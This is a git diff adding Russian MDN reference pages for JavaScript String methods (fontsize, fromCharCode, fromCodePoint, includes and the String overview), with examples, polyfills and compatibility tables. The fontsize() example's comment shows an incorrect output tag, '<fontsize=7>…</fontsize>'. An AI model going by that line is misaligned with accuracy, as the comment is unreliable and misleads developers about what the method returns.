+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/fontsize/index.html b/files/ru/web/javascript/reference/global_objects/string/fontsize/index.html
new file mode 100644
index 0000000000..3ed48133c3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/fontsize/index.html
@@ -0,0 +1,118 @@
+---
+title: String.prototype.fontsize()
+slug: Web/JavaScript/Reference/Global_Objects/String/fontsize
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fontsize
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>fontsize()</code></strong> создаёт HTML-элемент {{HTMLElement("font")}}, заставляющий строку отображаться шрифтом указанного размера.</p>
+<div class="note">
+ <p><strong>Примечание по использованию:</strong> элемент &lt;font&gt; был удалён из <a href="/ru/docs/Web/Guide/HTML/HTML5">HTML5</a> и больше не должен использоваться. Вместо него веб-разработчикам следует использовать свойства <a href="/ru/docs/Web/CSS">CSS</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.fontsize(<var>size</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>size</code></dt>
+ <dd>Целое число от 1 до 7, либо строка с целым числом со знаком по модулю от 1 до 7.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>При задании размера в виде целого числа, вы устанавливаете размер шрифта строки <code>str</code> в один из 7 предопределённых размеров. При задании размера в виде строки, например, "-2", вы задаёте размер шрифта строки <code>str</code> относительно размера, установленного тегом {{HTMLElement("basefont")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_fontsize" name="Example:_Using_fontsize">Пример: использование метода <code>fontsize()</code></h3>
+<p>В следующем примере демонстрируется использование нескольких строковых методов для изменения размера строки:</p>
+<pre class="brush: js">var worldString = 'Привет, мир';
+
+console.log(worldString.small());     // &lt;small&gt;Привет, мир&lt;/small&gt;
+console.log(worldString.big());       // &lt;big&gt;Привет, мир&lt;/big&gt;
+console.log(worldString.fontsize(7)); // &lt;fontsize=7&gt;Привет, мир&lt;/fontsize&gt;
+</pre>
+<p>При помощи объекта {{domxref("HTMLElement.style", "element.style")}} вы можете получить значение атрибута <code>style</code> элемента и управлять им более обобщённым способом, например:</p>
+<pre class="brush: js">document.getElementById('yourElemId').style.fontSize = '0.7em';
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.fontsize', 'String.prototype.fontsize')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.big()")}}</li>
+ <li>{{jsxref("String.prototype.small()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/fromcharcode/index.html b/files/ru/web/javascript/reference/global_objects/string/fromcharcode/index.html
new file mode 100644
index 0000000000..04e5c26ada
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/fromcharcode/index.html
@@ -0,0 +1,138 @@
+---
+title: String.fromCharCode()
+slug: Web/JavaScript/Reference/Global_Objects/String/fromCharCode
+tags:
+  - JavaScript
+  - Method
+  - Reference
+  - String
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Статический метод <strong><code>String.fromCharCode()</code></strong> возвращает строку, созданную из указанной последовательности значений единиц кода UTF-16.</p>
+
+<p>. </p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>String.fromCharCode(<var>num1</var>[, ...[, <var>numN</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>num1, ..., num<em>N</em></code></dt>
+ <dd>Последовательность чисел, являющихся значениями единиц кода UTF-16. <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Диапазон составляет от 0 до 65535 (0xFFFF). Числа больше 0xFFFF усекаются. Проверка достоверности не производится.</span></dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Этот метод возвращает примитивную строку, а не объект {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<p>Поскольку метод <code>fromCharCode()</code> является статическим методом объекта {{jsxref("Global_Objects/String", "String")}}, вы всегда должны использовать его как <code>String.fromCharCode()</code>, а не как метод созданного вами экземпляра {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_fromCharCode" name="Example:_Using_fromCharCode">Пример: использование метода <code>fromCharCode()</code></h3>
+
+<p>Следующий пример вернёт строку "ABC".</p>
+
+<pre class="brush: js">String.fromCharCode(65, 66, 67);  // "ABC"
+</pre>
+
+<p dir="ltr" id="tw-target-text"><a href="https://asecuritysite.com/coding/asc2">Полная таблица UTF-16</a></p>
+
+<h2 id="Getting_it_to_work_with_higher_values" name="Getting_it_to_work_with_higher_values">Как заставить его работать с большими значениями</h2>
+
+<p>Хотя большинство распространённых значений Юникода может быть представлено одним 16-битным числом (как ожидалось на ранней стадии стандартизации JavaScript) и метод <code>fromCharCode()</code> может использоваться для возврата одного символа для самых распространённых значений (точнее, значений UCS-2, которые являются подмножеством самых распространённых символов UTF-16), для работы со ВСЕМИ допустимыми значениями Юникода (занимающими до 21 бита) одного метода <code>fromCharCode()</code> недостаточно. Поскольку большие кодовые точки используют (самое меньшее) два «суррогатных» числа для представления одного символа, для возврата таких пар можно использовать метод {{jsxref("String.fromCodePoint()")}} (являющийся частью черновика ES6) и, таким образом, адекватно представлять эти символы.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.3.2', 'StringfromCharCode')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.fromcharcodes', 'String.fromCharCode')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/fromcodepoint/index.html b/files/ru/web/javascript/reference/global_objects/string/fromcodepoint/index.html
new file mode 100644
index 0000000000..6f4cde3a52
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/fromcodepoint/index.html
@@ -0,0 +1,213 @@
+---
+title: String.fromCodePoint()
+slug: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Reference
+  - Référence(2)
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Статический метод <strong><code>String.fromCodePoint()</code></strong> возвращает строку, созданную из указанной последовательности кодовых точек.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>String.fromCodePoint(<var>num1</var>[, ...[, <var>numN</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>num1, ..., num<em>N</em></code></dt>
+ <dd>Последовательность кодовых точек.</dd>
+</dl>
+
+<h3 id="Throws" name="Throws">Выбрасываемые исключения</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd>Исключение {{jsxref("Global_Objects/RangeError", "RangeError")}} выбрасывается в случае, если методу предоставлена неверная кодовая точка Юникода (например, "RangeError: NaN is not a valid code point").</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>fromCodePoint()</code> является статическим методом объекта {{jsxref("Global_Objects/String", "String")}}, вы всегда должны использовать его как <code>String.fromCodePoint()</code>, а не как метод созданного вами экземпляра {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_fromCharCode" name="Example:_Using_fromCharCode">Пример: использование метода <code>fromCodePoint()</code></h3>
+
+<pre class="brush: js">String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+
+String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError
+</pre>
+
+<pre class="brush: js">// Метод String.fromCharCode() не может вернуть символ по такой большой кодовой точке
+// Следующий же метод может вернуть 4-байтный символ так же, как и обычный
+// 2-байтный (то есть, он может вернуть один символ, который на самом деле
+// имеет длину 2, а не 1!)
+console.log(String.fromCodePoint(0x2F804)); // или 194564 в десятичной записи
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>String.fromCodePoint()</code> был добавлен к стандарту ECMAScript в 6-й версии и может поддерживаться ещё не во всех браузерах или окружениях. Используйте код ниже в качестве полифилла:</p>
+
+<pre class="brush: js">/*! http://mths.be/fromcodepoint v0.1.0 by @mathias */
+if (!String.fromCodePoint) {
+  (function() {
+    var defineProperty = (function() {
+      // IE 8 поддерживает метод `Object.defineProperty` только на элементах DOM
+      try {
+        var object = {};
+        var $defineProperty = Object.defineProperty;
+        var result = $defineProperty(object, object, object) &amp;&amp; $defineProperty;
+      } catch(error) {}
+      return result;
+    }());
+    var stringFromCharCode = String.fromCharCode;
+    var floor = Math.floor;
+    var fromCodePoint = function() {
+      var MAX_SIZE = 0x4000;
+      var codeUnits = [];
+      var highSurrogate;
+      var lowSurrogate;
+      var index = -1;
+      var length = arguments.length;
+      if (!length) {
+        return '';
+      }
+      var result = '';
+      while (++index &lt; length) {
+        var codePoint = Number(arguments[index]);
+        if (
+          !isFinite(codePoint) ||       // `NaN`, `+Infinity` или `-Infinity`
+          codePoint &lt; 0 ||              // неверная кодовая точка Юникода
+          codePoint &gt; 0x10FFFF ||       // неверная кодовая точка Юникода
+          floor(codePoint) != codePoint // не целое число
+        ) {
+          throw RangeError('Invalid code point: ' + codePoint);
+        }
+        if (codePoint &lt;= 0xFFFF) { // кодовая точка Базовой многоязыковой плоскости (БМП)
+          codeUnits.push(codePoint);
+        } else { // Астральная кодовая точка; делим её на суррогатную пару
+          // http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+          codePoint -= 0x10000;
+          highSurrogate = (codePoint &gt;&gt; 10) + 0xD800;
+          lowSurrogate = (codePoint % 0x400) + 0xDC00;
+          codeUnits.push(highSurrogate, lowSurrogate);
+        }
+        if (index + 1 == length || codeUnits.length &gt; MAX_SIZE) {
+          result += stringFromCharCode.apply(null, codeUnits);
+          codeUnits.length = 0;
+        }
+      }
+      return result;
+    };
+    if (defineProperty) {
+      defineProperty(String, 'fromCodePoint', {
+        'value': fromCodePoint,
+        'configurable': true,
+        'writable': true
+      });
+    } else {
+      String.fromCodePoint = fromCodePoint;
+    }
+  }());
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("41")}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/includes/index.html b/files/ru/web/javascript/reference/global_objects/string/includes/index.html
new file mode 100644
index 0000000000..a766377bb8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/includes/index.html
@@ -0,0 +1,127 @@
+---
+title: String.prototype.includes()
+slug: Web/JavaScript/Reference/Global_Objects/String/includes
+tags:
+  - JavaScript
+  - Prototype
+  - Reference
+  - String
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/String/includes
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>includes()</code></strong> проверяет, содержит ли строка заданную подстроку, и возвращает, соответственно <code>true</code> или <code>false</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.includes(<var>searchString</var>[, <var>position</var>])</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>Строка для поиска в данной строке.</dd>
+ <dt><code>position</code> {{optional_inline}}</dt>
+ <dd>Позиция в строке, с которой начинать поиск строки  <code>searchString</code>, по умолчанию 0.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><strong><code>true</code></strong>, если искомая строка была найдена в данной строке; иначе <strong><code>false</code></strong>.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Этот метод позволяет вам определять, содержит ли строка другую строку.</p>
+
+<h3 id="Чувствительность_к_регистру_символов">Чувствительность к регистру символов</h3>
+
+<p>Метод <code>includes()</code> является регистрозависимым. Например, следующее выражение вернёт <code>false</code>:</p>
+
+<pre class="brush: js">'Синий кит'.includes('синий'); // вернёт false
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_includes()">Использование <code>includes()</code></h3>
+
+<pre class="brush: js">var str = 'Быть или не быть вот в чём вопрос.';
+
+console.log(str.includes('Быть'));       // true
+console.log(str.includes('вопрос'));    // true
+console.log(str.includes('несуществующий')); // false
+console.log(str.includes('Быть', 1));    // false
+console.log(str.includes('БЫТЬ'));       // false
+</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Этот метод был добавлен в спецификации ECMAScript 2015 и может быть недоступен в некоторых реализациях JavaScript. Однако, можно легко эмулировать этот метод:</p>
+
+<pre class="brush: js">if (!String.prototype.includes) {
+  String.prototype.includes = function(search, start) {
+    'use strict';
+    if (typeof start !== 'number') {
+      start = 0;
+    }
+
+    if (start + search.length &gt; this.length) {
+      return false;
+    } else {
+      return this.indexOf(search, start) !== -1;
+    }
+  };
+}
+
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("javascript.builtins.String.includes")}}</p>
+
+<h2 id="String.prototype.contains">String.prototype.contains</h2>
+
+<p> </p>
+
+<p>В Firefox с версии 18 по версию 39, этот метод назывался «contains». Он был переименован в «includes» в замечании {{bug(1102219)}} по следующей причине:</p>
+
+<p>Как было <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=789036">сообщено</a>, некоторые сайты, использующие MooTools 1.2, ломаются в Firefox 17. Эта версия MooTools проверяет существование метода <code>String.prototype.contains()</code> и, если он не существует, добавляет свой собственный. С введением этого метода в Firefox 17, поведение этой проверки изменилось таким образом, что реализация <code>String.prototype.contains()</code>, основанная на MooTools, сломалась. В результате это изменение было <a href="https://hg.mozilla.org/releases/mozilla-aurora/rev/086db97198a8">отключено</a> в Firefox 17. Метод <code>String.prototype.contains()</code> доступен в следующей версии Firefox — Firefox 18.</p>
+
+<p>MooTools 1.3 принудительно использует свою собственную версию метода <code>String.prototype.contains()</code>, так что использующие его веб-сайты не должны ломаться. Тем не менее, следует отметить, что <a href="http://mootools.net/core/docs/1.3.2/Types/String#String-method:-contains">сигнатура метода в MooTools 1.3</a> отличается от сигнатуры метода в ECMAScript 2015 (во втором аргументе). <a href="https://github.com/mootools/mootools-core/blob/master/Docs/Types/String.md#note">В MooTools 1.5+ сигнатура изменена для соответствия стандарту ES2015.</a></p>
+
+<p> </p>
+
+<p>В Firefox 48, метод <code>String.prototype.contains()</code> был удалён. Следует использовать только <code>String.prototype.includes()</code>.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/index.html b/files/ru/web/javascript/reference/global_objects/string/index.html
new file mode 100644
index 0000000000..887272aab2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/index.html
@@ -0,0 +1,301 @@
+---
+title: String
+slug: Web/JavaScript/Reference/Global_Objects/String
+tags:
+  - JavaScript
+  - NeedsUpdate
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<p>Объект <strong><code>String</code></strong> используется, чтобы представить и конструировать последовательность символов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p>Строковые литералы могут быть следующих форм:</p>
+
+<pre class="syntaxbox notranslate"><code>'строка текста'
+"строка текста"
+"中文 español English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ்"
+</code></pre>
+
+<p>Кроме регулярных печатных символов можно использовать специальные символы, которые можно закодировать, используя нотацию escape-последовательностей:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Код</th>
+   <th scope="col">Вывод</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\0</code></td>
+   <td>нулевой символ (символ NUL)</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>одинарная кавычка</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>двойная кавычка</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>обратный слэш</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>новая строка</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>возврат каретки</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>вертикальная табуляция</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>табуляция</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>забой</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>подача страницы</td>
+  </tr>
+  <tr>
+   <td><code>\uXXXX</code></td>
+   <td>кодовая точка Юникода</td>
+  </tr>
+  <tr>
+   <td><code>\xXX</code></td>
+   <td>символ из кодировки Latin-1</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Либо можно использовать глобальный объект <code>String</code> напрямую:</p>
+
+<pre class="syntaxbox notranslate"><code>String(thing)
+new String(thing)
+</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>thing</code></dt>
+ <dd>Всё, что может быть преобразовано в строку.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Строки полезны для хранения данных, которые можно представить в текстовой форме. Некоторые из наиболее частых операций со строками — это проверка их {{jsxref("String.length", "длины", "", 1)}}, построение строки с помощью <a href="/ru/docs/Web/JavaScript/Reference/Operators/String_Operators">операций строковой конкатенации + и +=</a>, проверка на существование или местоположение подстрок с помощью метода {{jsxref("String.prototype.indexOf()", "indexOf()")}}, либо извлечение подстрок с помощью метода {{jsxref("String.prototype.substring()", "substring()")}}.</p>
+
+<h3 id="Character_access" name="Character_access">Доступ к символам</h3>
+
+<p>Существует два способа добраться до конкретного символа в строке. В первом способе используется метод {{jsxref("String.prototype.charAt()", "charAt()")}}:</p>
+
+<pre class="brush: js notranslate">return 'кот'.charAt(1); // вернёт "о"
+</pre>
+
+<p>Другим способом (введённым в ECMAScript 5) является рассмотрение строки как массивоподобного объекта, в котором символы имеют соответствующие числовые индексы:</p>
+
+<pre class="brush: js notranslate">return 'кот'[1]; // вернёт "о"
+</pre>
+
+<p>При доступе к символам посредством нотации с квадратными скобками, попытка удалить символ, или присвоить значение числовому свойству закончится неудачей, поскольку эти свойства являются незаписываемыми и ненастраиваемыми. Смотрите документацию по методу {{jsxref("Object.defineProperty()")}} для дополнительной информации.</p>
+
+<h3 id="Comparing_strings" name="Comparing_strings">Сравнение строк</h3>
+
+<p>Разработчики на C имеют для сравнения строк функцию <code>strcmp()</code>. В JavaScript вы просто используете <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B_%D1%81%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F">операторы меньше и больше</a>:</p>
+
+<pre class="brush: js notranslate">var a = 'a';
+var b = 'b';
+if (a &lt; b) { // true
+  print(a + ' меньше чем ' + b);
+} else if (a &gt; b) {
+  print(a + ' больше чем ' + b);
+} else {
+  print(a + ' и ' + b + ' равны.');
+}
+</pre>
+
+<p>Подобный результат также может быть достигнут путём использования метода {{jsxref("String.prototype.localeCompare()", "localeCompare()")}}, имеющегося у всех экземпляров <code>String</code>.</p>
+
+<h3 id="Distinction_between_string_primitives_and_String_objects" name="Distinction_between_string_primitives_and_String_objects">Разница между строковыми примитивами и объектами <code>String</code></h3>
+
+<p>Обратите внимание, что JavaScript различает объекты <code>String</code> и значения строкового примитива (то же самое верно и для объектов {{jsxref("Global_Objects/Boolean", "Boolean")}} и {{jsxref("Global_Objects/Number", "Number")}}).</p>
+
+<p>Строковые литералы (обозначаемые двойными или одинарными кавычками) и строки, возвращённые вызовом <code>String</code> в неконструкторном контексте (то есть, без использования ключевого слова {{jsxref("Operators/new", "new")}}) являются строковыми примитивами. JavaScript автоматически преобразует примитивы в объекты <code>String</code>, так что на строковых примитивах возможно использовать методы объекта <code>String</code>. В контекстах, когда на примитивной строке вызывается метод или происходит поиск свойства, JavaScript автоматически оборачивает строковый примитив объектом и вызывает на нём метод или ищет в нём свойство.</p>
+
+<pre class="brush: js notranslate">var s_prim = 'foo';
+var s_obj = new String(s_prim);
+
